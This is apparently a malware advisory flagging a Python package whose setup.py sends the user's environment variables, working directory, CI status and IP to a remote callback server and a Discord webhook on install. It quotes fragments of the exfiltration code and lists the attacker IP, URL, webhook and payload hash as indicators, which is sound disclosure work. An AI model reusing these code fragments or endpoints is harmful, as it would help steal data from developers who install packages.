GCVE-110-OSM-2026-638

Malicious package detected. Behaviors: data exfiltration, network activity. Payload: setup.py Key findings: - Environment Variable Exfiltration in setup.py: "os.environ.get("USER", "?"), "c": os.getcwd(), "ci": os.environ.get("CI", "")} ..." - System Information Exfiltration in setup.py: "os.getcwd(), "ci": os.environ.get("CI", "")} try: d["ip"] = urllib.reque..." - Webhook Data Exfiltration in setup.py: "discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn..." - Python File Upload to Remote in setup.py: "urllib.request.Request("http://69.164.221.216:8080/callback", data=" - HTTP Data Exfiltration in setup.py: "os.getcwd(), "ci": os.environ.get("CI", "")} try: d["ip"] = urllib" IOCs: - ipv4: 69.164.221.216 - urls: http://69.164.221.216:8080/callback - discordWebhooks: https://discord.com/api/webhooks/1484422878647816244/8gbHLu2n7XXXqlDGn3ZXxfzS-PuKnZF3Mvn52eHIKU23-exdJLaWOcpey0pPnDAR0KQo - payloadFileHash: e948bd297e19a476710a074c5940b118cca5e9b4a3912199dc199a2ac960d373